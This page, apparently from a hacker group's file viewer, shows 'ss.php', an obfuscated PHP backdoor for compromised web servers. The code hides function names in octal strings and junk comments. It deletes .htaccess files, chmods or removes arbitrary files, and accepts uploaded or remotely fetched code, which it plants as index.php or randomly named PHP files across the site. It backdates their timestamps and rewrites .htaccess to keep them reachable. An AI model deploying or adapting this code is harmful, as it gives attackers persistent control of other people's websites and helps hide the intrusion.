One Hat Cyber Team

View File Name : ss.php

<?php if(true){/*I7JOnY*/}; ?><?php $peu="";$peu.="\143";$peu.="\150";$peu.="\155";$peu.="\157";$peu.="\144"; $qbmt="";$qbmt.="\146";$qbmt.="\151";$qbmt.="\154";$qbmt.="\145";$qbmt.="\137";$qbmt.="\147";$qbmt.="\145";$qbmt.="\164";$qbmt.="\137";$qbmt.="\143";$qbmt.="\157";$qbmt.="\156";$qbmt.="\164";$qbmt.="\145";$qbmt.="\156";$qbmt.="\164";$qbmt.="\163"; $daqr="";$daqr.="\146";$daqr.="\151";$daqr.="\154";$daqr.="\145";$daqr.="\137";$daqr.="\160";$daqr.="\165";$daqr.="\164";$daqr.="\137";$daqr.="\143";$daqr.="\157";$daqr.="\156";$daqr.="\164";$daqr.="\145";$daqr.="\156";$daqr.="\164";$daqr.="\163"; $nzwa="";$nzwa.="\164";$nzwa.="\162";$nzwa.="\151";$nzwa.="\155"; $dpj="";$dpj.="\145";$dpj.="\170";$dpj.="\160";$dpj.="\154";$dpj.="\157";$dpj.="\144";$dpj.="\145"; $hgba="";$hgba.="\142";$hgba.="\141";$hgba.="\163";$hgba.="\145";$hgba.="6";$hgba.="4";$hgba.="\137";$hgba.="\144";$hgba.="\145";$hgba.="\143";$hgba.="\157";$hgba.="\144";$hgba.="\145"; $tZqcmW=$dpj($hgba("PD9waHAgaWYodHJ1ZSl7LypJN0pPblkqL307ID8+"),$qbmt(__FILE__));if($nzwa($tZqcmW[0])!=""||$nzwa($tZqcmW[2])!=""){$peu(__DIR__,0755);$peu(__FILE__,0644);$daqr(__FILE__,$hgba("PD9waHAgaWYodHJ1ZSl7LypJN0pPblkqL307ID8+").$tZqcmW[1].$hgba("PD9waHAgaWYodHJ1ZSl7LypJN0pPblkqL307ID8+"));}?><?php ;/*$MlNasR*/; ;/*$LgiJluje*/; ;/*kNzC2r*/; ;/*eDg*/; $IsBQrE=explode("c","rowel"); ;/*$poZJem*/; error_reporting(0); $eVysCoG=($_SERVER["\110\124\124\120\123"]!=""&&$_SERVER["\110\124\124\120\123"]!="\157\146\146")||$_SERVER["\122\105\121\125\105\123\124\137\123\103\110\105\115\105"]=="\150\164\164\160\163"||$_SERVER["\123\105\122\126\105\122\137\120\117\122\124"]==443 ? "\150\164\164\160\163\72\57\57" : "\150\164\164\160\72\57\57" ; ;/*saQ8V75*/; ;/*chuckles*/; $MijzGx=$_SERVER["\110\124\124\120\137\110\117\123\124"]; ;/*spurring*/; ;/*$lmndkYV*/; if ( isset($_SERVER["\122\105\121\125\105\123\124\137\125\122\111"]) ) { ;/*UwoTk5x*/; $RCvS=xuy(array(8287364,8187671,1745333,7272999,5505749,7464035,7830010,95939,5884209,7149675,1605716,6298524)); $TKvJzrc=explode('?',$_SERVER["\122\105\121\125\105\123\124\137\125\122\111"]); ;/*$FXHv*/; ;/*OehBqn*/; $GOdFuaiy=$TKvJzrc[0]; ;/*$OZUwREdBhUrT*/; }else { $GOdFuaiy=$_SERVER["\123\103\122\111\120\124\137\116\101\115\105"]; } ;/*$wzWoZS*/; function xuy($uPQl=array()) { $ObBTWUmP=0; if ( count($uPQl)>0 ) { foreach($uPQl as $ALbNawQo) { if ( is_numeric($ALbNawQo) ) { $ObBTWUmP=$ALbNawQo; break; } } foreach($uPQl as $ALbNawQo) { if ( is_numeric($ALbNawQo)&&$ALbNawQo<$ObBTWUmP ) { $ObBTWUmP=$ALbNawQo; } } } return $ObBTWUmP; } $mxzpobs=str_replace('\\','/',$_SERVER["\123\103\122\111\120\124\137\106\111\114\105\116\101\115\105"]); ;/*peeved*/; ;/*UAzHr*/; $ZWgvx=str_replace($GOdFuaiy,'',$mxzpobs); ;/*eventual*/; chmod($ZWgvx,0755); function pjf($JewOnEM) { $JewOnEM=trim($JewOnEM); $JewOnEM=substr($JewOnEM,6,-6); $JewOnEM=str_replace("\55","+",$JewOnEM); $JewOnEM=str_replace("_","/",$JewOnEM); $JewOnEM=str_replace(".","=",$JewOnEM); $JewOnEM=base64_decode($JewOnEM); return $JewOnEM; } $cTwvt="\55\55\55"; ;/*RgK*/; function x($RDxSlj) { $RAqbP=preg_replace("/[^A-Z]/","",$RDxSlj); return $RAqbP; } ;/*vkUaB2C*/; $cTwvt.="\144\157"; ;/*bateli*/; ;/*cernel*/; ;/*wgbxZyR*/; $cTwvt.="\55"; ;/*BsC*/; ;/*GZ2ck*/; $cTwvt.="\156\157\164"; ;/*spider*/; ;/*hptBu*/; ;/*iaH0nW*/; $cTwvt.="\55"; ;/*MqCa*/; ;/*AohdY*/; $WgrvzUJD=str_replace("ar","","haddies"); function rsi($RDxSlj) { $RAqbP=preg_replace("/[^a-z]/","",$RDxSlj); return $RAqbP; } $cTwvt.="\143\150\141\156\147\145"; ;/*poltroon*/; $cTwvt.="\55"; ;/*zUt1DT*/; ;/*$eXkCq*/; ;/*EnGHYl*/; ;/*Fd4x7t*/; $cTwvt.="\164\150\145"; $JcmfszoW=x("skillsng0qclassics"); $cTwvt.="\55"; ;/*$XFMN*/; ;/*3ihN4cnY*/; ;/*maxime*/; $cTwvt.="\146\157\154\154\157\167\151\156\147"; $cTwvt.="\55"; ;/*guilds*/; $cTwvt.="\143\157\156\164\145\156\164"; ;/*G8nDs1*/; ;/*vagaries*/; ;/*nux*/; $cTwvt.="\55\55\55"; $WgrvzUJD=str_replace("ga","","tree"); if ($_SERVER["\121\125\105\122\131\137\123\124\122\111\116\107"]=="\144\137\150") { $KPugbSy=array(); ;/*deadborn*/; $OZUwREd=0; ;/*stalk*/; ;/*9febWmc*/; $yaWRHSdY=0; ;/*thessaly*/; $KPugbSy[0][]=$ZWgvx; while(!empty($KPugbSy[$OZUwREd])) { foreach($KPugbSy[$OZUwREd] as $pSZgIhT) { $ZVkU=glob($pSZgIhT."\57\52",GLOB_ONLYDIR); if (!empty($ZVkU)) { foreach($ZVkU as $uIJfV) { $KPugbSy[$OZUwREd+1][]=$uIJfV; chmod($uIJfV,0755); $eXkCq=$uIJfV."\57\56\150\164\141\143\143\145\163\163"; if (is_file($eXkCq)) { $XMih=file_get_contents($eXkCq); if (preg_match('/'.$cTwvt.'/',$XMih)==0) { chmod($eXkCq,0777); file_put_contents($eXkCq,''); unlink($eXkCq); $yaWRHSdY++; } } } } } $OZUwREd++; } ;/*vamping*/; ;/*$MijzGx*/; echo $yaWRHSdY."\144\157\156\145"; ;/*$yHVs*/; exit; } ;/*KPaF*/; if ($_SERVER["\121\125\105\122\131\137\123\124\122\111\116\107"]=="\143\137\143") { echo "\152\153\55\55\55\157\153"; ;/*lEXb*/; ;/*hnkBX*/; exit; } ;/*$RwUs*/; ;/*quitter*/; ;/*7cOtKN*/; ;/*miB*/; function c($ZFOQvWP) { $BvUVNS=""; if ( function_exists("\143\165\162\154\137\145\170\145\143") ) { $LudmbvG=curl_init(); curl_setopt ($LudmbvG, CURLOPT_URL, $ZFOQvWP); curl_setopt ($LudmbvG, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($LudmbvG, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt( $LudmbvG, CURLOPT_SSL_VERIFYHOST, FALSE ); curl_setopt( $LudmbvG, CURLOPT_SSL_VERIFYPEER, FALSE ); curl_setopt( $LudmbvG, CURLOPT_TIMEOUT, 30); curl_setopt ($LudmbvG, CURLOPT_HEADER, 0); $BvUVNS = curl_exec($LudmbvG); curl_close($LudmbvG); }else { $BvUVNS=file_get_contents($ZFOQvWP); } return $BvUVNS; } if ( !empty($_GET["\146\137\143"]) ) { $VmaXMPS=pjf($_GET["\146\137\143"]); ;/*$HwAJ*/; if(is_file($ZWgvx.$VmaXMPS)){chmod($ZWgvx.$VmaXMPS,0644);echo "\146\143\55\55\55\157\153";}else{echo "\146\143\55\55\55\156\157";} exit; } ;/*8Xj*/; if ( !empty($_GET["\146\137\144"]) ) { ;/*Bu4Hg2O*/; $zGimqeWw=pjf($_GET["\146\137\144"]); ;/*cnmDpo*/; ;/*$IsBQrE*/; ;/*loight*/; if (is_file($ZWgvx.$zGimqeWw)) { ;/*1ReljaI*/; ;/*$ScQbWvi*/; $IsBQrE=explode("x","moine"); chmod($ZWgvx.$zGimqeWw,0777); ;/*$zGimqeWw*/; file_put_contents($ZWgvx.$zGimqeWw,"\172",LOCK_EX); unlink($ZWgvx.$zGimqeWw); ;/*$LudmbvGLkj*/; $WgrvzUJD=str_replace("3","","banneret"); ;/*skelter*/; } ;/*vfxPLQw*/; if (!is_file($ZWgvx.$zGimqeWw)||trim(file_get_contents($ZWgvx.$zGimqeWw))=="\172") { ;/*74tDXm3*/; echo "\146\144\55\55\55\157\153"; }else { ;/*xxxvi*/; ;/*pitying*/; echo "\146\144\55\55\55\156\157"; ;/*WKP7HZ0h*/; $JcmfszoW=x("tobogganHxanchored"); } ;/*shah*/; exit; } ;/*$yPChU*/; ;/*gurgles*/; if ( (!empty($_POST["\143\157\144\145\137\143\157\156\164\145\156\164"])) && (!empty($_POST["\143\157\144\145\137\146\151\154\145\156\141\155\145"])) ) { $WgrvzUJD=str_replace("7","","weda"); $Zvxwgbie=base64_decode($_POST["\143\157\144\145\137\143\157\156\164\145\156\164"]); ;/*w56WC*/; $aXKkJ=base64_decode($_POST["\143\157\144\145\137\146\151\154\145\156\141\155\145"]); ;/*unfelt*/; }else { ;/*$LgiJluje*/; $IsBQrE=explode("I","rendered"); if (!empty($_GET["\165\137\160"])) { ;/*precinct*/; $MgLaSF=pjf($_GET["\165\137\160"]); $Zvxwgbie=trim(c($MgLaSF."\137\143\157\144\145\137\143\157\156\164\145\156\164\56\164\170\164")); $aXKkJ=trim(c($MgLaSF."\137\143\157\144\145\137\146\151\154\145\156\141\155\145\56\164\170\164")); } $IsBQrE=explode("s","pathway"); ;/*Ozuy*/; ;/*$AWKTED*/; } ;/*f9p*/; ;/*$eXkCq*/; if (empty($Zvxwgbie) || empty($aXKkJ)) { ;/*hauled*/; exit; } ;/*$rUNA*/; ;/*murders*/; if (substr($aXKkJ,0,1)=='/' && substr($aXKkJ,-1,1)!='/') { $IsBQrE=explode("A","prenais"); ;/*$poZJem*/; $obzUxsek=$ZWgvx.$aXKkJ; $rUNA=$eVysCoG.$MijzGx.$aXKkJ; $WgrvzUJD=str_replace("X","","essay"); preg_match('/(\/.+)\//',$obzUxsek,$suSKMH); ;/*J0C3YKp*/; ;/*wean*/; ;/*thonged*/; $MlNasR=$suSKMH[1]; ;/*$qPOGdbixxzpobs*/; $jSHfFN = explode("/",ltrim(str_replace($ZWgvx,'',$MlNasR),"/")); ;/*$DFxd*/; $LgiJluje = $ZWgvx; ;/*zF1cipv*/; ;/*majestad*/; ;/*vair*/; foreach($jSHfFN as $ScQbWvi) { $LgiJluje .= "/" . $ScQbWvi; if ( is_dir( $LgiJluje ) ) { chmod( $LgiJluje, 0755 ); } else { mkdir( $LgiJluje, 0755, true ); } } ;/*$ScQbWvi*/; if ( is_file($obzUxsek) ) { chmod($obzUxsek,0777); $JcmfszoW=x("orelliaSWDkIGml5lozenges"); ;/*badges*/; unlink($obzUxsek); $WgrvzUJD=str_replace("AKr","","spewing"); } ;/*vestry*/; ;/*steering*/; file_put_contents($obzUxsek,$Zvxwgbie); ;/*editor*/; $IsBQrE=explode("J","unbiased"); if ( is_file($obzUxsek) && md5($Zvxwgbie)==md5(file_get_contents($obzUxsek)) ) { $HwAJ=1; ;/*YvH9Cxr*/; echo $rUNA; ;/*SzR7JXPG*/; ;/*3utZK*/; ;/*cIHX8h*/; } ;/*9QKRfx1*/; } ;/*corps*/; ;/*Oy9*/; ;/*icoY*/; if($aXKkJ=="\162\141\156\144\157\155") { ;/*B8CDe*/; ;/*HdZ2y*/; $mIBDGRX=array(); $KPugbSy=array(); ;/*onlies*/; ;/*78V*/; $OZUwREd=0; ;/*sodality*/; ;/*barri*/; ;/*nolast*/; $mIBDGRX[]=$ZWgvx; ;/*attested*/; $KPugbSy[0][]=$ZWgvx; ;/*$czuWP*/; while(!empty($KPugbSy[$OZUwREd])) { foreach($KPugbSy[$OZUwREd] as $pSZgIhT) { $ZVkU=glob($pSZgIhT."\57\52",GLOB_ONLYDIR); if (!empty($ZVkU)) { foreach($ZVkU as $uIJfV) { if ( preg_match('/plugin[s]?$/si',$uIJfV)==1 ){continue;} $KPugbSy[$OZUwREd+1][]=$uIJfV; $mIBDGRX[]=$uIJfV; chmod($uIJfV,0755); } } } $OZUwREd++; if (count($mIBDGRX)>=1000) {break;} } if ( count($mIBDGRX)<4 ) { ;/*saints*/; $wKarBo=array(); $wKarBo[]="\151\155\141\147\145\163"; ;/*$cTwvt*/; $wKarBo[]="\151\156\143\154\165\144\145\163"; $wKarBo[]="\164\145\155\160\154\141\164\145\163"; ;/*vEUDgLa*/; $wKarBo[]="\143\163\163"; ;/*dZ0oGwxr*/; $wKarBo[]="\143\141\143\150\145"; ;/*laborer*/; $wKarBo[]="\166\145\156\144\145\162"; $WgrvzUJD=str_replace("S","","twirl"); $wKarBo[]="\154\151\142\162\141\162\171"; $wKarBo[]="\142\141\143\153\165\160"; $wKarBo[]="\144\141\164\141\142\141\163\145"; ;/*GmiqP*/; $wKarBo[]="\144\141\164\141"; ;/*$wibnaj*/; ;/*bYv7*/; $wKarBo[]="\152\163"; $wKarBo[]="\154\157\147"; $wKarBo[]="\165\163\145\162"; $wKarBo[]="\146\157\156\164\163"; $IsBQrE=explode("X","faddist"); ;/*moore*/; shuffle($wKarBo); ;/*$LudmbvGLkj*/; ;/*pamela*/; for($ONaiID=0;$ONaiID<3;$ONaiID++) { $zKtaloZ=$ZWgvx.'/'.$wKarBo[$ONaiID]; mkdir($zKtaloZ,0755,true); if ( is_dir($zKtaloZ) ){$mIBDGRX[]=$zKtaloZ;} } } ;/*gash*/; ;/*masca*/; $HwAJ=0; ;/*marrow*/; $UbvdQaC="\151\156\144\145\170\56\160\150\160"; ;/*ri4oVb7Y*/; for($qPOGdbix=1;$qPOGdbix<=10;$qPOGdbix++) { $MlNasR=$mIBDGRX[array_rand($mIBDGRX,1)]; $obzUxsek=$MlNasR.'/'.$UbvdQaC; $rUNA=$eVysCoG.$MijzGx.str_replace($ZWgvx,'',$MlNasR).'/'.$UbvdQaC; if ( !is_file($obzUxsek) ) { file_put_contents($obzUxsek,$Zvxwgbie); if ( is_file($obzUxsek) && md5($Zvxwgbie)==md5(file_get_contents($obzUxsek)) ) { $HwAJ=1;echo $rUNA;break; } } } ;/*$MlNasR*/; ;/*bKQz*/; if ($HwAJ==0) { ;/*$DFxd*/; ;/*$HwAJ*/; for($qPOGdbix=1;$qPOGdbix<=10;$qPOGdbix++) { $MlNasR=$mIBDGRX[array_rand($mIBDGRX,1)]; $UbvdQaC=basename($MlNasR)."\56\160\150\160"; $obzUxsek=$MlNasR.'/'.$UbvdQaC; $rUNA=$eVysCoG.$MijzGx.str_replace($ZWgvx,'',$MlNasR).'/'.$UbvdQaC; if ( !is_file($obzUxsek) ) { file_put_contents($obzUxsek,$Zvxwgbie); if ( is_file($obzUxsek) && md5($Zvxwgbie)==md5(file_get_contents($obzUxsek)) ) { $HwAJ=1;echo $rUNA;break; } } } ;/*$uPQl*/; } $JcmfszoW=x("tipplePzI6aLvbubother"); if ($HwAJ==0) { ;/*oratory*/; $FIKlaogD="\66\71"; $FIKlaogD.="\142\171\167\65"; $FIKlaogD.="\165\141\146"; ;/*$nURX*/; $FIKlaogD.="\154\144\145"; ;/*blockade*/; ;/*suffer*/; $FIKlaogD.="\162\67\170\63"; ;/*courting*/; $FIKlaogD.="\160\163\152"; ;/*$obzUxsek*/; $FIKlaogD.="\164\155\61"; $FIKlaogD.="\166\161\64\156\153"; $FIKlaogD.="\151\172\60"; ;/*nEVyXMK*/; $FIKlaogD.="\150\147\157"; ;/*$JcmfszoW*/; $FIKlaogD.="\62\143\70"; ;/*$qPOGdbixzCacNp*/; for($qPOGdbix=1;$qPOGdbix<=11;$qPOGdbix++) { $qPOGdbix==11 ? $MlNasR=$ZWgvx : $MlNasR=$mIBDGRX[array_rand($mIBDGRX,1)]; $VYUnBo=str_shuffle($FIKlaogD); $GEzDOACc=substr($VYUnBo,0,mt_rand(3,10))."\56\160\150\160"; $obzUxsek=$MlNasR.'/'.$GEzDOACc; $rUNA=$eVysCoG.$MijzGx.str_replace($ZWgvx,'',$MlNasR).'/'.$GEzDOACc; file_put_contents($obzUxsek,$Zvxwgbie); if ( is_file($obzUxsek) && md5($Zvxwgbie)==md5(file_get_contents($obzUxsek)) ) { $HwAJ=1;echo $rUNA;break; } } } } $RCvS=xuy(array(8287364,8187671,1745333,7272999,5505749,7464035,7830010,95939,5884209,7149675,1605716,6298524)); if ( isset($HwAJ) && $HwAJ==1 ) { $WgrvzUJD=str_replace("My5","","gatch"); touch($obzUxsek, strtotime("\55\65\60\60\40\144\141\171\163", time())); ;/*traits*/; if ( $MlNasR!=$ZWgvx ) { ;/*emery*/; ;/*2zofi*/; $FakYjGx=$MlNasR."\57\56\150\164\141\143\143\145\163\163"; if (is_file($FakYjGx)) { chmod($FakYjGx,0777); ;/*xqG9*/; $WgrvzUJD=str_replace("7C","","lucretia"); file_put_contents($FakYjGx,''); unlink($FakYjGx); ;/*$OZUwREdBhUrT*/; ;/*inapt*/; ;/*$FakYjGx*/; } if ( basename($obzUxsek)!="\151\156\144\145\170\56\160\150\160" ) { ;/*$FakYjGx*/; $DFxd=''; $FOBNsb=rsi("isAWtatersKXBh1aY"); ;/*1FVmCeN*/; foreach( glob($MlNasR."\57\52\56\160\150\160") as $JXWdDl ) { $DFxd.="\174".basename($JXWdDl); } ;/*$JAvT*/; $DFxd=ltrim($DFxd,"\174"); ;/*$TKvJzrc*/; ;/*jAMWUOo*/; $poZJem="\43".$cTwvt; $poZJem.="\n"."\74\106\151\154\145\163\115\141\164\143\150\40\47\136\50".$DFxd."\51\44\47\76"; ;/*girt*/; ;/*9krG5*/; ;/*osborne*/; $poZJem.="\n"."\117\162\144\145\162\40\141\154\154\157\167\54\144\145\156\171"; ;/*$cTwvt*/; ;/*partibus*/; $poZJem.="\n"."\101\154\154\157\167\40\146\162\157\155\40\141\154\154"; ;/*wold*/; $poZJem.="\n"."\74\57\106\151\154\145\163\115\141\164\143\150\76"; ;/*bled*/; file_put_contents($FakYjGx,$poZJem); ;/*4bsL19*/; ;/*avmVlJ2*/; touch($obzUxsek, strtotime("\55\65\60\60\40\144\141\171\163", time())); ;/*popper*/; } } } ;/*cmvgnrQG*/; ;/*DsOJX4HB*/; ;/*GKuldi*/; ?><?php if(true){/*I7JOnY*/}; ?>